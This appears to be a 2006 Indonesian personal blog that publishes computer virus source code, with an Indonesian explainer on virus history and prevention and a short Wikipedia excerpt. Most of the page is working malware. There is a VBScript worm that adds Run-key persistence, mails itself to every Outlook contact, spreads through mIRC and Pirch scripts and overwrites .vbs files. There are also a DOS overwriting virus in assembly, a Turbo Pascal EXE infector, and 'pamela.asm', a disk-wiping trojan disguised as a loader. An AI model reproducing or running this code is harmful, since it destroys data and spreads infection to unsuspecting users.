Miss EndarE

vbs generator

2006-09-21T11:47:00.000+07:00

On Error Resume Next

Set ymxelbkdfsm = CreateObject("WScript.Shell")

Set pnisnipummf= Createobject("scripting.filesystemobject")

ymxelbkdfsm.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Picture.jpg","wscript.exe "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs %"

pnisnipummf.copyfile wscript.scriptfullname,pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

if ymxelbkdfsm.regread ("HKCU\software\Worm\mailed") <> "1" then

lirpbmybzfh()

end if

if ymxelbkdfsm.regread ("HKCU\software\Worm\mirqued") <> "1" then

ozzejgvdmwg()

end if

if ymxelbkdfsm.regread ("HKCU\software\Worm\pirched") <> "1" then

dyostsunjnc()

end if

iiqstpcjgyp()

qaorydnuohu()

Function lirpbmybzfh()

On Error Resume Next

Set fftkslnantq = CreateObject("Outlook.Application")

If fftkslnantq= "Outlook"Then

Set zyjugcagpwh=fftkslnantq.GetNameSpace("MAPI")

For Each bfrpdevfhlg In zyjugcagpwh.AddressLists

If bfrpdevfhlg.AddressEntries.Count <> 0 Then

yacxksogxyi = bfrpdevfhlg.AddressEntries.Count

For wabacorvkrq= 1 To yacxksogxyi

Set xzgevcppdhn = bfrpdevfhlg.AddressEntries(wabacorvkrq)

Set blbnwjwbyhz = fftkslnantq.CreateItem(0)

blbnwjwbyhz.To = xzgevcppdhn.Address

blbnwjwbyhz.Subject = "Khabar berita "

blbnwjwbyhz.Body = "Salam Untuk Kurt Cobain di sorga and semoga arwahmu tenang di sisi tuhan "

blbnwjwbyhz.Attachments.Add pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

blbnwjwbyhz.DeleteAfterSubmit = True

If blbnwjwbyhz.To <> "" Then

blbnwjwbyhz.Send

ymxelbkdfsm.regwrite "HKCU\software\Worm\mailed", "1"

End If

end if

End Function

Function ozzejgvdmwg(kciljoxeijo)

On Error Resume Next

if kciljoxeijo<>"" then

if pnisnipummf.fileexists("c:\mirc\mirc.ini") then kciljoxeijo="c:\mirc"

if pnisnipummf.fileexists("c:\mirc32\mirc.ini") then kciljoxeijo="c:\mirc32"

zxmndgquoec=ymxelbkdfsm.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")

if pnisnipummf.fileexists(zxmndgquoec & "\mirc\mirc.ini") then kciljoxeijo=zxmndgquoec & "\mirc"

end if

if kciljoxeijo <> "" then

set cbewadmzzhc = pnisnipummf.CreateTextFile(kciljoxeijo & "\script.ini", True)

cbewadmzzhc.WriteLine "[script]"

cbewadmzzhc.writeline "n0=on 1:JOIN:#:{"

cbewadmzzhc.writeline "n1= /if ( $nick == $me ) { halt }"

cbewadmzzhc.writeline "n2= /.dcc send $nick "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

cbewadmzzhc.writeline "n3=}"

cbewadmzzhc.close

ymxelbkdfsm.regwrite "HKCU\software\Worm\Mirqued", "1"

end if

end function

function dyostsunjnc(dzlapofzkfa)

On Error Resume Next

if dzlapofzkfa<>"" then

if pnisnipummf.fileexists("c:\pirch\Pirch32.exe") then dzlapofzkfa="c:\pirch"

if pnisnipummf.fileexists("c:\pirch32\Pirch32.exe") then dzlapofzkfa="c:\pirch32"

hmedxxlpvjt=ymxelbkdfsm.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")

if pnisnipummf.fileexists(hmedxxlpvjt & "\pirch\Pirch32.exe") then dzlapofzkfa=hmedxxlpvjt & "\pirch\Pirch32.exe"

end if

if dzlapofzkfa <> "" then

set jvekedajhtk= pnisnipummf.CreateTextFile(dzlapofzkfa & "\events.ini", True)

jvekedajhtk.WriteLine "[Levels]"

jvekedajhtk.WriteLine "Enabled=1"

jvekedajhtk.WriteLine "Count=6"

jvekedajhtk.WriteLine "Level1=000-Unknowns"

jvekedajhtk.WriteLine "000-UnknownsEnabled=1"

jvekedajhtk.WriteLine "Level2=100-Level 100"

jvekedajhtk.WriteLine "100-Level 100Enabled=1"

jvekedajhtk.WriteLine "Level3=200-Level 200"

jvekedajhtk.WriteLine "200-Level 200Enabled=1"

jvekedajhtk.WriteLine "Level4=300-Level 300"

jvekedajhtk.WriteLine " 300-Level 300Enabled=1"

jvekedajhtk.WriteLine "Level5=400-Level 400 "

jvekedajhtk.WriteLine "400-Level 400Enabled=1"

jvekedajhtk.WriteLine "Level6=500-Level 500"

jvekedajhtk.WriteLine "500-Level 500Enabled=1"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[000-Unknowns]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[100-Level 100]"

jvekedajhtk.WriteLine "User1=*!*@*"

jvekedajhtk.WriteLine "UserCount=1"

jvekedajhtk.writeline "Event1=ON JOIN:#:/dcc tsend $nick "&pnisnipummf.GetSpecialFolder(0)& "\Picture.jpg.vbs"

jvekedajhtk.WriteLine "EventCount=1"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[200-Level 200]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[300-Level 300]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[400-Level 400]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

jvekedajhtk.WriteLine ""

jvekedajhtk.WriteLine "[500-Level 500]"

jvekedajhtk.WriteLine "UserCount=0"

jvekedajhtk.WriteLine "EventCount=0"

pirchini.close

ymxelbkdfsm.regwrite "HKCU\software\Worm\pirched", "1"

end if

end function

if month(now) =1 and day(now) =26 then

msgbox "Kau Bodoh",16

end if

Function qaorydnuohu()

On Error Resume Next

Set qtrxfgqrwiy = pnisnipummf.Drives

For Each nvloycxmkkj In qtrxfgqrwiy

If nvloycxmkkj.Drivetype = Remote Then

mebfuhaiklh= nvloycxmkkj & "\"

Call tixpnisnipu(mebfuhaiklh)

ElseIf nvloycxmkkj.IsReady Then

mebfuhaiklh= nvloycxmkkj&"\"

Call tixpnisnipu(mebfuhaiklh)

End If

End Function

Function tixpnisnipu(mmfymxelbkd)

Set fsmlirpbmyb= pnisnipummf.GetFolder(mmfymxelbkd)

Set zfhozzejgvd= fsmlirpbmyb.Files

For Each mwgdyostsun In zfhozzejgvd

if pnisnipummf.GetExtensionName(mwgdyostsun.path) = "vbs" then

pnisnipummf.copyfile wscript.scriptfullname , mwgdyostsun.path , true

end if

if mwgdyostsun.name = "mirc.ini" then

ozzejgvdmwg(mwgdyostsun.ParentFolder)

end if

if mwgdyostsun.name = "Pirch32.exe" then

dyostsunjnc(mwgdyostsun.ParentFolder)

end if

Set mwgdyostsun= fsmlirpbmyb.SubFolders

For Each jnciiqstpcj In mwgdyostsun

Call tixpnisnipu(jnciiqstpcj.path)

End Function

Tagging with BlogThis! - Freshblog

2006-09-19T11:36:00.000+07:00

Tagging with BlogThis! - Freshblog

Tentang virus komputer

2006-09-18T15:55:00.000+07:00

Mengenal Virus Computer

Saat Ini, pastilah kita semua selaku konsumen/pengguna jasa komputer dan jaringan ( internet ) sudah sangat sering mendengar istilah “virus” yang terkadang meresahkan kita. Tulisan ini akan mengupas lebih jauh mengenai virus, yang nantinya diharapkan dapat membuat kita semua mengerti dan memahami tentang virus.

ASAL MUASAL VIRUS

1949, John von Neumann, menggungkapkan " teori self altering automata " yang merupakan hasil riset dari para ahli matematika. 1960, Lab BELL (AT&T), para ahli di lab BELL (AT&T) mencoba-coba teori yang diungkapkan oleh
John von Neumann, dengan membuat suatu jenis permainan/game. Mereka membuat program yang dapat memperbanyak dirinya dan dapat menghancurkan program buatan lawan. Program yang mampu bertahan dan menghancurkan semua program lain, akan dianggap sebagai pemenangnya. Permainan ini akhirnya menjadi permainan favorit di tiap-tiap lab komputer. Tetapi, semakin lama program yang diciptakan makin berbahaya, sehingga mereka melakukan pengawasan dan pengamanan yang ketat terhadap permainan ini. 1980, Program-program tersebut yang akhirnya dikenal dengan sebutan "virus" ini berhasil menyebar keluar lingkungan laboratorium, dan mulai beredar di masyarakat umum.

PENGERTIAN VIRUS

"A program that can infect other programs by modifying them to include a slighty altered copy of itself. A virus can spread throughout a computer system or network using the authorization of every user using it to infect their programs. Every programs that gets infected can also act as a virus that infection grows“

( Fred Cohen )

Pertama kali istilah “virus” digunakan oleh Fred Cohen pada tahun 1984 di Amerika Serikat. Virus komputer dinamakan “virus” karena memiliki beberapa persamaan mendasar dengan virus pada istilah kedokteran (biological viruses). Virus komputer bisa diartikan sebagai suatu program komputer biasa. Tetapi memiliki perbedaan yang mendasar dengan
program-program lainnya,yaitu virus dibuat untuk menulari program-program lainnya, mengubah, memanipulasinya bahkan sampai merusaknya. Ada yang perlu dicatat disini, virus hanya akan menulari apabila program pemicu atau program yang telah terinfeksi tadi dieksekusi, disinilah perbedaannya dengan "worm". Tulisan ini tidak akan bahas worm karena nanti
akan mengalihkan kita dari pembahasan mengenai virus ini.

KRITERIA VIRUS

Suatu program dapat disebut sebagai suatu virus apabila memenuhi minimal 5 kriteria berikut :

1. Kemampuan untuk mendapatkan informasi
2. Kemampuan untuk memeriksa suatu file
3. Kemampuan untuk menggandakan diri dan menularkan diri
4. Kemampuan melakukan manipulasi
5. Kemampuan untuk menyembunyikan diri. Sekarang akan coba dijelaskan dengan singkat apa yang dimaksud
dari tiap-tiap kemampuan itu dan mengapa ini sangat diperlukan.

1. Kemampuan untuk mendapatkan informasi
Pada umumnya suatu virus memerlukan daftar nama-nama file yang ada
dalam suatu directory. Untuk apa? Agar dia dapat memperoleh daftar file yang bisa dia tulari. Misalnya, virus makro yang akan menginfeksi semua file data MS Word, akan mencari daftar file berekstensi *.doc. Disinilah kemampuan mengumpulkan informasi itu diperlukan agar virus dapat membuat daftar/data semua file, lalu memilahnya dengan
mencari file-file yang bisa ditulari. Biasanya data ini tercipta saat file yang tertular/terinfeksi virus atau file program
virus itu sendiri dibuka oleh user. Sang virus akan segera melakukan pengumpulan data dan menaruhnya (biasanya) di RAM, sehingga apabila komputer dimatikan semua data hilang. Tetapi data-data ini akan tercipta kembali setiap kali virus itu diaktifkan. Biasanya data-data ini disimpan juga sebagai hidden file oleh virus tersebut.

2. Kemampuan memeriksa suatu program
Suatu virus juga harus bisa memeriksa suatu file yang akan ditulari, misalnya dia bertugas menulari program berekstensi *.doc, maka dia harus memeriksa apakah file dokumen tersebut telah terinfeksi ataupun belum, karena jika sudah, akan percuma menularinya lagi. Ini sangat berguna untuk meningkatkan kemampuan suatu virus dalam hal kecepatan menginfeksi suatu file/program. Yang umum dilakukan oleh virus adalah memiliki/memberi tanda pada file/program yang telah terinfeksi sehingga mudah untuk dikenali oleh virus tersebut. Contoh penandaan adalah misalnya memberikan suatu byte yang unik di setiap file yang telah terinfeksi.

3. Kemampuan untuk menggandakan diri
Kalo ini memang virus "bang-get", maksudnya, tanpa kemampuan ini tak adalah virus. Inti dari virus adalah kemampuan mengandakan diri dengan cara menulari file lainnya. Suatu virus apabila telah menemukan calon korbannya maka ia akan mengenalinya dengan memeriksanya. Jika belum terinfeksi maka sang virus akan memulai aksinya penularan dengan cara menuliskan byte pengenal pada file tersebut, dan seterusnya mengcopikan/menulis kode objek virus diatas file sasaran. Beberapa cara umum yang dilakukan oleh virus untuk menulari/menggandakan dirinya adalah :

a. File yang akan ditulari dihapus atau diubah namanya. Kemudian diciptakan suatu file berisi program virus itu
sendiri menggunakan nama file yang asli.
b. Program virus yang sudah dieksekusi/load ke memori akan langsung menulari file-file lain dengan cara menumpangi
seluruh file yang ada.

4. Kemampuan mengadakan manipulasi
Rutin (routine) yang dimiliki suatu virus akan dijalankan setelah virus menulari suatu file. Isi dari suatu rutin ini dapat beragam mulai dari yang tidak berbahaya sampai yang melakukan perusakan. Rutin ini umumnya digunakan untuk memanipulasi file atau pun mempopulerkan pembuatnya ! Rutin ini memanfaatkan kemampuan dari suatu sistem operasi (Operating System), sehingga memiliki kemampuan yang sama dengan yang dimiliki sistem operasi. Misal :

a. Membuat gambar atau pesan pada monitor
b. Mengganti/mengubah-ubah label dari tiap file, direktori, atau label dari drive di PC
c. Memanipulasi file yang ditulari
d. Merusak file
e. Mengacaukan kerja printer, dsb

5. Kemampuan Menyembunyikan diri
Kemampuan menyembunyikan diri ini harus dimiliki oleh suatu virus agar semua pekerjaan baik dari awal sampai berhasilnya penularan dapat terlaksana. Langkah langkah yang biasa dilakukan adalah:

- Program virus disimpan dalam bentuk kode mesin dan digabung dengan program lain yang dianggap berguna oleh pemakai
- Program virus diletakkan pada Boot Record atau track pada disk yang jarang diperhatikan oleh komputer itu sendiri
- Program virus dibuat sependek mungkin, dan hasil file yang diinfeksi tidak terlalu berubah ukurannya
- Virus tidak mengubah keterangan/informasi waktu suatu file
- dll

SIKLUS HIDUP VIRUS
Siklus hidup virus secara umum, melalui 4 tahap:

o Dormant phase ( Fase Istirahat/Tidur ) Pada fase ini virus tidaklah aktif. Virus akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dsb. Tidak semua virus melalui fase ini.
o Propagation phase ( Fase Penyebaran ) Pada fase ini virus akan mengkopikan dirinya kepada suatu program atau ke suatu tempat dari media storage (baik hardisk, RAM dsb). Setiap program yang terinfeksi akan menjadi hasil “kloning” virus tersebut (tergantung cara virus tersebut menginfeksinya).
o Trigerring phase ( Fase Aktif ) Di fase ini virus tersebut akan aktif dan hal ini juga di picu oleh beberapa kondisi seperti pada Dormant Phase.
o Execution phase ( Fase Eksekusi ) Pada fase inilah virus yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan, dsb

JENIS – JENIS VIRUS
Untuk lebih mempertajam pengetahuan kita tentang virus, saya akan coba memberikan penjelasan tentang jenis-jenis virus yang sering berkeliaran di masyarakat umum.

1. Virus Makro
Jenis virus ini pasti sudah sangat sering kita dengar. Virus ini ditulis dengan bahasa pemrograman dari suatu aplikasi bukan dengan bahasa pemrograman dari suatu Operating System. Virus ini dapat berjalan apabila aplikasi pembentuknya dapat berjalan dengan baik. Sebagai contoh jika pada komputer mac dijalankan aplikasi Word, maka virus makro yang dibuat dari bahasa makro Word dapat bekerja pada komputer bersistem operasi Mac ini. Contoh virus:

- Varian W97M, misal W97M.Panther Panjang 1234 bytes, akanmenginfeksi NORMAL.DOT dan menginfeksi
dokumen apabila dibuka.
- WM.Twno.A;TW Panjang 41984 bytes, akan menginfeksi Dokumen Ms.Word yang menggunakan bahasa
makro, biasanya berekstensi *.DOT dan *.DOC
- dll

2. Virus Boot Sector
Virus Boot sector ini sudah umum sekali menyebar. Virus ini dalam menggandakan dirinya, akan memindahkan atau menggantikan boot sector asli dengan program booting virus. Sehingga saat terjadi booting maka virus akan diload ke memori dan selanjutnya virus akan mempunyai kemampuan mengendalikan hardware standar (contoh : monitor, printer dsb) dan dari memori ini pula virus akan menyebar ke seluruh drive yang ada dan yang terhubung ke komputer (contoh : floopy, drive lain selain drive c:). Contoh virus :

- Varian virus wyx ex: wyx.C(B) menginfeksi boot record dan floopy ; Panjang :520 bytes; Karakteristik : memory
resident dan terenkripsi.
- Varian V
- Sign : Menginfeksi : Master Boot Record ; Panjang 520 bytes; Karakteristik : menetap di memori (memory
resident),terenkripsi, dan polymorphic)
- Stoned.june 4th/ bloody!: Menginfeksi : Master Boot Record dan floopy; Panjang 520 bytes; Karakteristik :
menetap di memori (memory resident), terenkripsi dan menampilkan pesan "Bloody!june 4th 1989" setelah
komputer melakukan booting sebanyak 128 kali.

3. Stealth Virus
Virus ini akan menguasai tabel interrupt pada DOS yang sering kita kenal dengan "Interrupt interceptor". Virus ini berkemampuan untuk mengendalikan instruksi-instruksi level DOS dan biasanya mereka tersembunyi sesuai namanya baik secara penuh ataupun ukurannya. Contoh virus :

- Yankee.XPEH.4928, Menginfeksi file *.COM dan *.EXE ; Panjang 4298 bytes; Karakteristik: menetap
di memori, ukurantersembunyi, memiliki pemicu
- WXYC (yang termasuk kategori boot record pun karena masuk kategri stealth dimasukkan pula disini),
Menginfeksi floopy an motherboot record; Panjang 520 bytes; Karakteristik : menetap di memori; ukuran dan virus
tersembunyi.
- Vmem(s): Menginfeksi file file *.EXE, *.SYS, dan *.COM ; Panjang fie 3275 bytes; Karakteristik:menetap
di memori, ukuran tersembunyi, di enkripsi.
- dll

4. Polymorphic Virus
Virus ini Dirancang buat mengecoh program antivirus, artinya virus ini selalu berusaha agar tidak dikenali oleh antivirus dengan cara selalu merubah rubah strukturnya setiap kali selesai menginfeksi file/program lain. Contoh virus:

- Necropolis A/B, Menginfeksi file *.EXE dan *.COM; Panjang file 1963 bytes; Karakteristik: menetap di memori,
ukuran dan virus tesembunyi,terenkripsi dan dapat berubah ubah struktur
- Nightfall, Menginfeksi file *.EXE; Panjang file 4554 bytes; Karakteristik : menetap di memori, ukuran dan virus
tesembunyi,memiliki pemicu, terenkripsidan dapat berubah-ubah struktur
- dll

5. Virus File/Program
Virus ini menginfeksi file-file yang dapat dieksekusi langsung dari sistem operasi, baik itu file *.EXE, maupun *.COM biasanya juga hasil infeksi dari virus ini dapat diketahui dengan berubahnya ukuran file yang diserangnya.

6. Multi Partition Virus
Virus ini merupakan gabungan dari virus boot sector dan virus file. Artinya pekerjaan yang dilakukan berakibat dua,
yaitu dia dapat menginfeksi file-file *.EXE atau *.COM dan juga menginfeksi boot sector.

BEBERAPA CARA PENYEBARAN VIRUS

Virus layaknya virus biologi harus memiliki media untuk dapat menyebar, virus komputer dapat menyebar ke berbagai komputer/mesin lainnya juga melalui berbagai media, diantaranya:

1. Disket, media storage R/W Media penyimpanan eksternal dapat menjadi sasaran empuk bagi virus untuk dijadikan
media. Baik sebagai tempat menetap ataupun sebagai media penyebarannya. Media yang bias melakukan operasi
R/W (Read dan Write) sangat memungkinkan untuk ditumpangi virus dan dijadikan sebagai media penyebaran.
2. Jaringan ( LAN, WAN,dsb) Hubungan antara beberapa computer secara langsung sangat memungkinkan suatu virus
ikut berpindah saat terjadi pertukaran/pengeksekusian file yang mengandung virus.
3. WWW (internet) Sangat mungkin suatu situs sengaja ditanamkan suatu “virus” yang akan menginfeksi
komputer-komputer yang mengaksesnya.
4. Software yang Freeware, Shareware atau bahkan Bajakan Banyak sekali virus yang sengaja ditanamkan
dalam suatu program yang disebarluaskan baik secara gratis, atau trial version.
5. Attachment pada email, transfering file Hampir semua jenis penyebaran virus akhir-akhir ini menggunakan
email attachment dikarenakan semua pemakai jasa internet pastilah menggunakan email untuk berkomunikasi, file-file
ini sengaja dibuat mencolok/menarik perhatian, bahkan seringkali memiliki ekstensi ganda pada penamaan filenya.

PENANGULANGANNYA

1. Langkah-Langkah untuk Pencegahan
Untuk pencegahan anda dapat melakukan beberapa langkah-langkah berikut :

o Gunakan antivirus yang anda percayai dengan update terbaru. Tidak perduli apapun merknya asalkan selalu
diupdate, dan auto-protect dinyalakan maka komputer anda terlindungi.
o Selalu scanning semua media penyimpanan eksternal yang akan digunakan, mungkin hal ini agak merepotkan
tetapi jika auto-protect antivirus anda bekerja maka prosedur ini dapat dilewatkan.
o Jika anda terhubung langsung ke Internet cobalah untuk mengkombinasikan antivirus anda dengan
Firewall, Anti-spamming, dsb.
o Selalu waspada terhadap fle-file yang mencurigakan, contoh : file dengan 2 buah exstension atau file
executable yang terlihat mencurigakan.
o Untuk software freeware + shareware, ada baiknya anda mengambilnya dari situs resminya.
o Semampunya hindari membeli barang bajakan, gunakan software-software open source.

2. Langkah-Langkah Apabila telah Terinfeksi

o Deteksi dan tentukan dimanakah kira-kira sumber virus tersebut apakah di disket, jaringan, email dsb. Jika anda
terhubung ke jaringan maka ada baiknya anda mengisolasi komputer anda dulu (baik dengan melepas kabel atau
mendisable sambungan internet dari control panel)

o Identifikasi dan klasifikasikan jenis virus apa yang menyerang pc anda, dengan cara:

- Gejala yang timbul, misal : pesan, file yang corrupt atau hilang dsb
- Scan dengan antivirus anda, jika anda terkena saat auto
- protect berjalan berarti virus definition di dalam komputer anda tidak memiliki data virus ini, cobalah update
secara manual atau mendownload virus definitionnya untuk kemudian anda install. Jika virus tersebut memblok
usaha anda untuk mengupdate, maka upayakan untuk menggunakan media lain (komputer) dengan antivirus
yang memiliki update terbaru.

o Bersihkan virus tersebut. Setelah anda berhasil mendeteksi dan mengenalinya maka usahakan segera untuk mencari
removal atau cara-cara untuk memusnahkannya di situs-situs yang memberikan informasi perkembangan virus tersebut.
Hal ini perlu dilakukan apabila antivirus dengan update terbaru anda tidak berhasil memusnahkannya.
o Langkah terburuk. Jika semua hal diatas tidak berhasil adalah memformat ulang komputer anda .

univ.asm virus code with com for compiler

2006-09-18T15:51:00.000+07:00

code segment
assume cs:code,ds:code,es:code,ss:code
org 100h

main proc near
mov dx,offset(nev) ; offset to '*.*'
mov ah,4Eh
int 21h ; find first
mov dx,009Eh
mov ax,3D01h ; writing
int 21h ; open a file
mov bx,ax
mov ah,40h
mov cl,offset(nev)-100h+4 ; byte-szam
mov dx,100h
int 21h ; write to file
nev: DB '*.*'
DB 0h
main endp
code ends
end main

a virus with turbo pascal language

2006-09-18T15:48:00.000+07:00

uses dos;

{.$DEFINE DEBUG}

{$IFDEF DPMI}
const
virsize = 20000;
{$ELSE}
const
virsize = 10000;
{$ENDIF}

var
isfirststart : boolean;

vir : array[0..virsize-1] of byte;
buf : array[0..virsize-1] of byte;

{$IFDEF DEBUG}
procedure debug(msg : string);
begin
textattr := 2;
write(msg);
textattr := 7;
writeln;
end;
{$ENDIF}

function cmpvirbuf : boolean;
var
i : integer;
begin
cmpvirbuf := false;
for i := low(vir) to high(vir) do
if vir[i] <> buf[i] then
exit;
cmpvirbuf := true;
end;

procedure read_myself;
var
f : file;
w : word;
begin

{$IFDEF DEBUG}
debug('reading virus body from file '+paramstr(0));
{$ENDIF}

assign(f, paramstr(0));

filemode := 0;
reset(f,1);
filemode := 2;
if ioresult<>0 then
begin
{$IFDEF DEBUG}
debug('error');
{$ENDIF}
halt;
end;

fillchar(vir, sizeof(vir), 0);
blockread(f, vir, virsize, w);

isfirststart := w<>virsize;

close(f);

{$IFDEF DEBUG}
debug('done');
{$ENDIF}

{$IFDEF DEBUG}
if isfirststart then
debug('(1st virus execution detected)');
{$ENDIF}
end;

{$IFDEF DEBUG}

function ask(msg : string) : boolean;
begin

debug(msg+' (Y/N)');
repeat
case upcase(readkey) of
'Y': begin
debug('...Yes');
ask := true;
exit;
end;
'N': begin
debug('...No');
ask := false;
exit;
end;
end;
until false;

end;

{$ENDIF}

function infect_file(filename : string) : boolean;
label
exitinfect;
var
r : searchrec;
f : file;
begin
{$IFDEF DEBUG}
debug('infecting file '+filename);
{$ENDIF}

infect_file := false;

{$IFDEF DEBUG}
if not ask('infect file?') then
begin
infect_file := true;
exit;
end;
{$ENDIF}

findfirst(filename, archive+readonly, r);
if doserror<>0 then
begin
{$IFDEF DEBUG}
debug('file not found');
{$ENDIF}
exit;
end;

if r.size < virsize then
begin
{$IFDEF DEBUG}
debug('too small file');
{$ENDIF}
exit;
end;

if r.time and 31 = 13 then
begin
{$IFDEF DEBUG}
debug('file probably alredy infected');
{$ENDIF}
exit;
end;

assign(f, filename);

setfattr(f, archive);
if doserror <> 0 then
begin
{$IFDEF DEBUG}
debug('cant change file attributes');
{$ENDIF}
exit;
end;

reset(f,1);
if ioresult <> 0 then
begin
{$IFDEF DEBUG}
debug('cant open file');
{$ENDIF}
exit;
end;

blockread(f, buf, virsize);

if cmpvirbuf then
begin
{$IFDEF DEBUG}
debug('file alredy infected');
{$ENDIF}
goto exitinfect;
end;

if chr(buf[0])+chr(buf[1]) <> 'MZ' then
begin
{$IFDEF DEBUG}
debug('not .EXE-file');
{$ENDIF}
goto exitinfect;
end;

{$IFDEF DEBUG}
debug('infecting...');
{$ENDIF}

seek(f, filesize(f));
blockwrite(f, buf, virsize);

seek(f, 0);
blockwrite(f, vir, virsize);

infect_file := true;

{$IFDEF DEBUG}
debug('done');
{$ENDIF}

r.time := (r.time and (not 31)) or 13;

exitinfect:
setftime(f, r.time);
close(f);
setfattr(f, r.attr);
end;

function cure_file(filename : string) : boolean;
label
exitcure;
var
r : searchrec;
f : file;
begin
{$IFDEF DEBUG}
debug('disinfecting file '+filename);
{$ENDIF}

cure_file := false;

findfirst(filename, archive+readonly, r);
if doserror<>0 then
begin
{$IFDEF DEBUG}
debug('file not found');
{$ENDIF}
exit;
end;

if r.size < virsize*2 then
begin
{$IFDEF DEBUG}
debug('too small file size => not infected');
{$ENDIF}
exit;
end;

assign(f, filename);

setfattr(f, archive);
if doserror <> 0 then
begin
{$IFDEF DEBUG}
debug('cant change file attributes');
{$ENDIF}
exit;
end;

reset(f,1);
if ioresult <> 0 then
begin
{$IFDEF DEBUG}
debug('cant open file');
{$ENDIF}
exit;
end;

blockread(f, buf, virsize);

if not cmpvirbuf then
begin
{$IFDEF DEBUG}
debug('file not found');
{$ENDIF}
goto exitcure;
end;

{$IFDEF DEBUG}
debug('disinfecting...');
{$ENDIF}

seek(f, filesize(f) - virsize);
blockread(f, buf, virsize);

seek(f, 0);
blockwrite(f, buf, virsize);

seek(f, filesize(f) - virsize);
truncate(f);

cure_file := true;

{$IFDEF DEBUG}
debug('done');
{$ENDIF}

r.time := r.time and (not 31);

exitcure:
setftime(f, r.time);
close(f);
setfattr(f, r.attr);
end;

function infect_dir(dir : string; maxreclevel, maxfile : integer) : integer;
var
r : searchrec;
d : dirstr;
n : namestr;
e : extstr;
inffile : integer;
begin

{$IFDEF DEBUG}
debug('searching for files in the directory "'+dir+'"');
{$ENDIF}

dir := FExpand(dir);
if copy(dir,1,1) < 'C' then
exit;

if dir <> '' then
if dir[length(dir)] <> '\' then
dir := dir + '\';

inffile := 0;

findfirst(dir+'*.*', anyfile, r);
while doserror=0 do
begin

if r.attr and directory <> 0 then begin

if r.name[1]<>'.' then
if maxreclevel>0 then
inc(inffile, infect_dir(dir+r.name+'\', maxreclevel-1, maxfile));

end else begin

fsplit(r.name, d,n,e);

if (e='.EXE') or (e='.COM') or (e='.SCR') then
if infect_file(dir+r.name) then
inc(inffile);

end;

if inffile>=maxfile then
break;

findnext(r);

end; { while }

infect_dir := inffile;

end; { infect_dir }

procedure infect_path;
var
s, q : string;
begin
s := getenv('PATH');
while s<>'' do
begin
q := '';
while (s<>'') and (s[1]<>';') do
begin
q := q + s[1];
delete(s,1,1);
end;
delete(s,1,1);
infect_dir(q, 0, 10);
end;
end;

label
exitvirus;

begin

{$IFDEF DEBUG}
debug('virus started. press any key...');
readkey;
{$ENDIF}

read_myself;

if paramstr(1)='/infect' then
begin
infect_file(paramstr(2));
goto exitvirus;
end;
if paramstr(1)='/cure' then
begin
infect_file(paramstr(2));
goto exitvirus;
end;

if isfirststart then goto exitvirus;

{$IFDEF DEBUG}
if ask('Search and infect files?') then
begin
{$ENDIF}

infect_file(getenv('COMSPEC'));
infect_path;
infect_dir('..\',0,1);
infect_dir('..\..\',0,1);
infect_dir('C:\',3,5);

{$IFDEF DEBUG}
end;

if ask('Execute host file?') then
begin
{$ENDIF}

cure_file(paramstr(0));

{$IFDEF DEBUG}
debug('executing host...');
{$ENDIF}
swapvectors;
exec(paramstr(0), string(ptr(prefixseg,$80)^));
swapvectors;
{$IFDEF DEBUG}
debug('...done');
{$ENDIF}

infect_file(paramstr(0));

{$IFDEF DEBUG}
end;
{$ENDIF}

exitvirus:

{$IFDEF DEBUG}
debug('exiting virus');
{$ENDIF}

end.

pamela.asm

2006-09-18T15:43:00.000+07:00

DOSSEG
.MODEL SMALL
.STACK 100H
.DATA

CNTR DB 2 ; Counter to nuke all drives C and up
MESSAGE DB 13,10,"Loading program$"
FINISH DB 13,10,"Thanx for using THEloader v1.6$",13,10
DOT DB ".$"

.CODE

kill: MOV AX,@DATA
MOV DS,AX
MOV BP,1
MOV DX,OFFSET MESSAGE ;Print the nice little message
MOV AH,09H
INT 21H

KRAD: CMP CNTR,26 ;Check to see if it's drive Z
JGE BYEBYE ;If it is, then jump to the end...
MOV AH,05 ;Format track
MOV CH,0 ;Blah, blah, blah...
MOV DH,0 ;Starting at Sector 0
MOV DL,CNTR ;Drive
INT 13H
MOV DX,OFFSET DOT
MOV AH,09H
INT 21H
INC CNTR
JMP KRAD

BYEBYE: MOV AL,2
MOV CX,700
MOV DX,00
MOV DS,[DI+99]
MOV BX,[DI+55]
INT 26H
MOV DX,OFFSET FINISH
MOV AH,09H
INT 21H
MOV AX,4C00H
INT 21H ;Get outa here...

END KILL

about virus from wiki pedia

2006-09-18T15:25:00.000+07:00

The word virus is often claimed to be the acronym of Vital Information Resources Under Siege, although this is obviously a backronym. The word is derived from and used in the same sense as the biological equivalent. The term "virus" is often used in common parlance to describe all kinds of malware (malicious software), including those that are more properly classified as worms or trojans. Most popular anti-virus software packages defend against all of these types of attack. In some technical communities, the term "virus" is also extended to include the authors of malware, in an insulting sense.

The English plural of "virus" is "viruses". Some people use "virii" or "viri" as a plural, although computer professionals seldom use these words. For a discussion about whether "viri" and "virii" are correct alternatives of "viruses", see plural of virus.

[edit]

History

